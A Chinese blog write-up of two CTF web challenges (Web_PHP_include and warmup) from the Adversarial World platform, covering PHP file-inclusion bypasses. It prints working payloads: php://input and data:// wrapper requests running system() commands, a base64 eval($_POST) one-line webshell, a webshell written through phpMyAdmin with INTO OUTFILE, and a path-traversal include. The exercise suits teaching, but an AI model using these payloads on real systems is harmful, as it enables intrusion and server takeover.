微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

记录攻防世界web进阶

Web_PHP_include

考点:考审计PHP代码的基本能力,以及绕开的能力
知识点:
1.两个函数
①str_replace(“PHP://”, “”, $page);替换函数

②strstr($page, “PHP://”)查找函数,即输出一个字符串里面第一次出现的位置(且对大小写敏感)即绕开了
PHP://input功能应用 (接受请求的get或者post数据)
2.data协议的用法
3.数据库写马的方法

题目:

在这里插入图片描述


方法一:
利用strstr()的敏感大小进行绕过
代码

//get中
http://220.249.52.133:32881/?page=PHP://input
//post请求中## 标题
<?PHP system("ls"); ?> 
<?PHP system("cat 路径的文件名"); ?>//即利用cat命令获取

方法二:
data://伪协议执行命令利用进行绕过
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

<?PHP system("dir")?> base64编码后使用进行
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b  (注意编码后的+号要URL编码)

方法三:
data://伪协议传木马

<?PHP eval($_POST[xiaohua]); ?> base64加密后拼接

http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

//菜刀连接即可

方法四:
数据库写入马,利用数据库进行

//御剑扫描获得PHPmyadmin root 密码空 进入

//数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux认tmp是可写目录 试试写入一句话马 菜刀连接 

SELECT "<?PHP eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.PHP'

思路:①绕过代码审计中的替换即读取数据的命令
②在post中利用PHP的命令执行语句进行爆出flag

warmup

考点:

  1. PHP代码审计与构造的能力
  2. PHP路径访问的能力
  3. 参数与url中常见的符号理解
    知识点:
    1.#include文件包含的定义的漏洞使用类
    作用:包含并运行指定的文件
    运行方法:先按照参数的路径进行寻找,没有的话在依次删除路径
    file的参数这个是#include里面的定义为文件=路径;(且文件打开还可以考虑用PHP://input)
    2.函数
    ①in_array($page, $whitelist)即在whitelist中是否存在page这个参数
    ②mb_substr()函数的理解
mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
         );
 //即参数从0开始返回mb_strpos这么多的字节        

③mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置(即返回的位置,strstr返回的是值且是从当时开始的值)

<?PHP
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
//输出结果:14;

④参数的理解
如?file=source.PHP?(payload)//即参数$page实际为source.PHP?

做题:

在这里插入图片描述


审计代码后发现只有当pagepage的参数构造存在于page的参数构造存在于whitelist数组中存在时,才返回 true,否则都是flase
因此可以利用第二个判断机制构造page=source.php?page=source.PHP?或者page=source.PHP?或者page=hint.PHP

然后又利用#include的实际执行方法进行构造路径
为?file=source.PHP?/…/…/…/…/…/…/ffffllllaaaagggg
成功获取到flag

在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐